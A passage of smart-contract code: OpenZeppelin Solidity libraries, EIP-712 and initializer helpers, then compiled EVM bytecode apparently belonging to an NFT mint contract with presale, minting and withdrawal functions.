/** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.11; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } }
0x60806040526004361061034a5760003560e01c806370a08231116101bb578063b88d4fde116100f7578063e081b78111610095578063f2fde38b1161006f578063f2fde38b1461096b578063f35372bf1461098b578063f47ccd5a146109a0578063f73c814b146109b557600080fd5b8063e081b78114610915578063e8a3d48514610936578063e985e9c51461094b57600080fd5b8063d8381788116100d1578063d8381788146108c1578063d8b066c2146108d7578063d8b4e311146108ec578063d96a094a1461090257600080fd5b8063b88d4fde14610854578063bba7723e14610874578063c87b56dd146108a157600080fd5b80638da5cb5b1161016457806395d89b411161013e57806395d89b41146107d05780639bf80316146107e5578063a22cb46514610812578063affe39c11461083257600080fd5b80638da5cb5b1461077d57806391ba317a1461079b578063938e3d7b146107b057600080fd5b80637bff43e1116101955780637bff43e11461072757806383a9e0491461073c57806385535cc51461075d57600080fd5b806370a08231146106d6578063715018a6146106f6578063771c46621461070b57600080fd5b80632f745c591161028a5780634f6ccce7116102335780635bab26e21161020d5780635bab26e21461063d5780635c9f0e451461066d5780635ce7af1f146106805780636352211e146106b657600080fd5b80634f6ccce7146105e7578063544259501461060757806355f804b31461061d57600080fd5b806342842e0e1161026457806342842e0e1461058757806342966c68146105a757806346a7dadc146105c757600080fd5b80632f745c591461053f5780633408e4701461055f5780633ccfd60b1461057257600080fd5b80630f7e5970116102f757806318160ddd116102d157806318160ddd146104b157806320379ee5146104d457806323b872dd146104e95780632d0335ab1461050957600080fd5b80630f7e597014610428578063147c071814610471578063163e1e611461049157600080fd5b8063081812fc11610328578063081812fc146103bd578063095ea7b3146103f55780630c53c51c1461041557600080fd5b806301ffc9a71461034f578063049c5c491461038457806306fdde031461039b575b600080fd5b34801561035b57600080fd5b5061036f61036a36600461346d565b6109d5565b60405190151581526020015b60405180910390f35b34801561039057600080fd5b50610399610a31565b005b3480156103a757600080fd5b506103b0610acc565b60405161037b91906134e2565b3480156103c957600080fd5b506103dd6103d83660046134f5565b610b5e565b6040516001600160a01b03909116815260200161037b565b34801561040157600080fd5b50610399610410366004613523565b610bf7565b6103b06104233660046135f2565b610d29565b34801561043457600080fd5b506103b06040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b34801561047d57600080fd5b5061039961048c366004613670565b610f2f565b34801561049d57600080fd5b506103996104ac3660046136e2565b610f95565b3480156104bd57600080fd5b506104c66110a3565b60405190815260200161037b565b3480156104e057600080fd5b506006546104c6565b3480156104f557600080fd5b50610399610504366004613745565b6110ff565b34801561051557600080fd5b506104c6610524366004613786565b6001600160a01b031660009081526007602052604090205490565b34801561054b57600080fd5b506104c661055a366004613523565b611187565b34801561056b57600080fd5b50466104c6565b34801561057e57600080fd5b50610399611264565b34801561059357600080fd5b506103996105a2366004613745565b611364565b3480156105b357600080fd5b506103996105c23660046134f5565b61137f565b3480156105d357600080fd5b506103996105e2366004613786565b6113f5565b3480156105f357600080fd5b506104c66106023660046134f5565b61147e565b34801561061357600080fd5b506104c660095481565b34801561062957600080fd5b50610399610638366004613670565b61155a565b34801561064957600080fd5b5061036f610658366004613786565b60106020526000908152604090205460ff1681565b61039961067b3660046137a3565b6115c0565b34801561068c57600080fd5b506104c661069b366004613786565b6001600160a01b031660009081526011602052604090205490565b3480156106c257600080fd5b506103dd6106d13660046134f5565b611858565b3480156106e257600080fd5b506104c66106f1366004613786565b611906565b34801561070257600080fd5b506103996119e0565b34801561071757600080fd5b506104c667011c37937e08000081565b34801561073357600080fd5b506103b0611a46565b34801561074857600080fd5b50600f5461036f90600160a01b900460ff1681565b34801561076957600080fd5b50610399610778366004613786565b611a55565b34801561078957600080fd5b506008546001600160a01b03166103dd565b3480156107a757600080fd5b506104c6611ade565b3480156107bc57600080fd5b506103996107cb366004613670565b611b02565b3480156107dc57600080fd5b506103b0611b68565b3480156107f157600080fd5b506104c6610800366004613786565b60116020526000908152604090205481565b34801561081e57600080fd5b5061039961082d3660046137f3565b611b77565b34801561083e57600080fd5b50610847611b86565b60405161037b9190613831565b34801561086057600080fd5b5061039961086f36600461387e565b611bec565b34801561088057600080fd5b5061089461088f366004613786565b611c74565b60405161037b91906138ea565b3480156108ad57600080fd5b506103b06108bc3660046134f5565b611dbd565b3480156108cd57600080fd5b506104c66122b881565b3480156108e357600080fd5b50610399611e49565b3480156108f857600080fd5b506104c661270f81565b6103996109103660046134f5565b611edf565b34801561092157600080fd5b50600f5461036f90600160a81b900460ff1681565b34801561094257600080fd5b506103b06120ce565b34801561095757600080fd5b5061036f610966366004613922565b6120dd565b34801561097757600080fd5b50610399610986366004613786565b6121da565b34801561099757600080fd5b506104c6600281565b3480156109ac57600080fd5b506104c6600481565b3480156109c157600080fd5b506103996109d0366004613786565b6122b9565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d63000000000000000000000000000000000000000000000000000000001480610a2b5750610a2b8261233c565b92915050565b6008546001600160a01b03163314610a905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600f80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff8116600160a81b9182900460ff1615909102179055565b606060008054610adb90613950565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0790613950565b8015610b545780601f10610b2957610100808354040283529160200191610b54565b820191906000526020600020905b815481529060010190602001808311610b3757829003601f168201915b5050505050905090565b6000610b698261241f565b610bdb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610a87565b506000908152600360205260409020546001600160a01b031690565b6000610c0282611858565b9050806001600160a01b0316836001600160a01b03161415610c8c5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610a87565b336001600160a01b0382161480610ca85750610ca881336120dd565b610d1a5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a87565b610d248383612469565b505050565b60408051606081810183526001600160a01b03881660008181526007602090815290859020548452830152918101869052610d6787828787876124e4565b610dd95760405162461bcd60e51b815260206004820152602160248201527f5369676e657220616e64207369676e617475726520646f206e6f74206d61746360448201527f68000000000000000000000000000000000000000000000000000000000000006064820152608401610a87565b6001600160a01b038716600090815260076020526040902054610dfd9060016125ec565b6001600160a01b0388166000908152600760205260409081902091909155517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b90610e4d90899033908a90613985565b60405180910390a1600080306001600160a01b0316888a604051602001610e759291906139ba565b60408051601f1981840301815290829052610e8f91613a04565b6000604051808303816000865af19150503d8060008114610ecc576040519150601f19603f3d011682016040523d82523d6000602084013e610ed1565b606091505b509150915081610f235760405162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c000000006044820152606401610a87565b98975050505050505050565b6008546001600160a01b03163314610f895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b610d24600c83836133a6565b6008546001600160a01b03163314610fef5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b600254819061270f906110029083613a36565b11156110505760405162461bcd60e51b815260206004820152600e60248201527f4578636565647320537570706c790000000000000000000000000000000000006044820152606401610a87565b60005b8181101561109d5761108a84848381811061107057611070613a4e565b90506020020160208101906110859190613786565b6125ff565b508061109581613a64565b915050611053565b50505050565b600254600090815b818110156110fa5760006001600160a01b0316600282815481106110d1576110d1613a4e565b6000918252602090912001546001600160a01b0316146110f2578260010192505b6001016110ab565b505090565b61110a335b8261261a565b61117c5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a87565b610d248383836126ed565b6002546000905b808210156111e857836001600160a01b0316600283815481106111b3576111b3613a4e565b6000918252602090912001546001600160a01b031614156111dd576000198301926111dd576111e8565b81600101915061118e565b80821061125d5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610a87565b5092915050565b6008546001600160a01b031633146112be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b600d546040516000916001600160a01b03169047908381818185875af1925050503d806000811461130b576040519150601f19603f3d011682016040523d82523d6000602084013e611310565b606091505b50509050806113615760405162461bcd60e51b815260206004820152601860248201527f4661696c656420746f2073656e6420746f207661756c742e00000000000000006044820152606401610a87565b50565b610d2483838360405180602001604052806000815250611bec565b61138833611104565b6113d45760405162461bcd60e51b815260206004820152601560248201527f4e6f7420617070726f76656420746f206275726e2e00000000000000000000006044820152606401610a87565b6113dd8161287d565b600980549060006113ed83613a64565b919050555050565b6008546001600160a01b0316331461144f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b600f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6002546000905b808210156114df5760006001600160a01b0316600283815481106114ab576114ab613a4e565b6000918252602090912001546001600160a01b0316146114d4576000198301926114d4576114df565b816001019150611485565b8082106115545760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610a87565b50919050565b6008546001600160a01b031633146115b45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b610d24600b83836133a6565b600f54600160a81b900460ff161580156115e35750600f54600160a01b900460ff165b61162f5760405162461bcd60e51b815260206004820152601060248201527f50726573616c6520496e616374697665000000000000000000000000000000006044820152606401610a87565b6116398282612907565b6116855760405162461bcd60e51b815260206004820152601d60248201527f436f6e74726163742044697361626c656420666f722050726573616c650000006044820152606401610a87565b60028311156116d65760405162461bcd60e51b815260206004820152600a60248201527f457863656564204d6178000000000000000000000000000000000000000000006044820152606401610a87565b336000908152601160205260409020546002906116f4908590613a36565b11156117425760405162461bcd60e51b815260206004820152601360248201527f486f6c64696e67204d617820416c6c6f776564000000000000000000000000006044820152606401610a87565b346117558467011c37937e080000613a7f565b11156117a35760405162461bcd60e51b815260206004820152600860248201527f4d6f7265204554480000000000000000000000000000000000000000000000006044820152606401610a87565b6122b8836117af6110a3565b6117b99190613a36565b11156118075760405162461bcd60e51b815260206004820152600d60248201527f45786365656420537570706c79000000000000000000000000000000000000006044820152606401610a87565b60005b8381101561182e5761181b336125ff565b508061182681613a64565b91505061180a565b50336000908152601160205260408120805485929061184e908490613a36565b9091555050505050565b60006118638261241f565b6118d55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610a87565b6000600283815481106118ea576118ea613a4e565b6000918252602090912001546001600160a01b03169392505050565b60006001600160a01b0382166119845760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610a87565b60025460005b818110156119d957836001600160a01b0316600282815481106119af576119af613a4e565b6000918252602090912001546001600160a01b031614156119d1578260010192505b60010161198a565b5050919050565b6008546001600160a01b03163314611a3a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b611a44600061292b565b565b6060600c8054610adb90613950565b6008546001600160a01b03163314611aaf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b600d805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b600254600090611aee5750600090565b600254611afd90600190613a9e565b905090565b6008546001600160a01b03163314611b5c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b610d24600a83836133a6565b606060018054610adb90613950565b611b8233838361298a565b5050565b606060006002805480602002602001604051908101604052809291908181526020018280548015611be057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611bc2575b50939695505050505050565b611bf6338361261a565b611c685760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a87565b61109d84848484612a59565b60606000611c8183611906565b905080611cf65760405162461bcd60e51b815260206004820152602660248201527f455243373231456e756d657261626c653a206f776e6572206f776e73206e6f2060448201527f746f6b656e7300000000000000000000000000000000000000000000000000006064820152608401610a87565b60025460008267ffffffffffffffff811115611d1457611d1461354f565b604051908082528060200260200182016040528015611d3d578160200160208202803683370190505b5090506000805b83811015611db257866001600160a01b031660028281548110611d6957611d69613a4e565b6000918252602090912001546001600160a01b03161415611daa5780838380600101945081518110611d9d57611d9d613a4e565b6020026020010181815250505b600101611d44565b509095945050505050565b6060611dc88261241f565b611e145760405162461bcd60e51b815260206004820152601160248201527f4e6f6e6578697374656e7420746f6b656e0000000000000000000000000000006044820152606401610a87565b600b611e1f83612ae2565b600c604051602001611e3393929190613b4f565b6040516020818303038152906040529050919050565b6008546001600160a01b03163314611ea35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b600f80547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff1615909102179055565b600f54600160a81b900460ff16611f385760405162461bcd60e51b815260206004820152600d60248201527f53616c6520496e616374697665000000000000000000000000000000000000006044820152606401610a87565b600f54600160a01b900460ff1615611f925760405162461bcd60e51b815260206004820152600c60248201527f4f6e6c792050726573616c6500000000000000000000000000000000000000006044820152606401610a87565b6004811115611fe35760405162461bcd60e51b815260206004820152600a60248201527f457863656564204d6178000000000000000000000000000000000000000000006044820152606401610a87565b61270f81611fef6110a3565b611ff99190613a36565b106120465760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662053746f636b00000000000000000000000000000000000000006044820152606401610a87565b346120598267011c37937e080000613a7f565b11156120a75760405162461bcd60e51b815260206004820152600f60248201527f4d6f726520455448204e656564656400000000000000000000000000000000006044820152606401610a87565b60005b81811015611b82576120bb336125ff565b50806120c681613a64565b9150506120aa565b6060600a8054610adb90613950565b600f546040517fc45527910000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015260009281169190841690829063c455279190602401602060405180830381865afa158015612148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216c9190613b82565b6001600160a01b0316148061219957506001600160a01b03831660009081526010602052604090205460ff165b156121a8576001915050610a2b565b6001600160a01b0380851660009081526004602090815260408083209387168352929052205460ff165b949350505050565b6008546001600160a01b031633146122345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b6001600160a01b0381166122b05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610a87565b6113618161292b565b6008546001600160a01b031633146123135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a87565b6001600160a01b03166000908152601060205260409020805460ff19811660ff90911615179055565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806123cf57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610a2b57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614610a2b565b60025460009082108015610a2b575060006001600160a01b03166002838154811061244c5761244c613a4e565b6000918252602090912001546001600160a01b0316141592915050565b6000818152600360205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906124ab82611858565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006001600160a01b0386166125625760405162461bcd60e51b815260206004820152602560248201527f4e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5360448201527f49474e45520000000000000000000000000000000000000000000000000000006064820152608401610a87565b600161257561257087612c14565b612c91565b6040805160008152602081018083529290925260ff851690820152606081018690526080810185905260a0016020604051602081039080840390855afa1580156125c3573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b60006125f88284613a36565b9392505050565b6000610a2b8260405180602001604052806000815250612cdc565b60006126258261241f565b6126975760405162461bcd60e51b81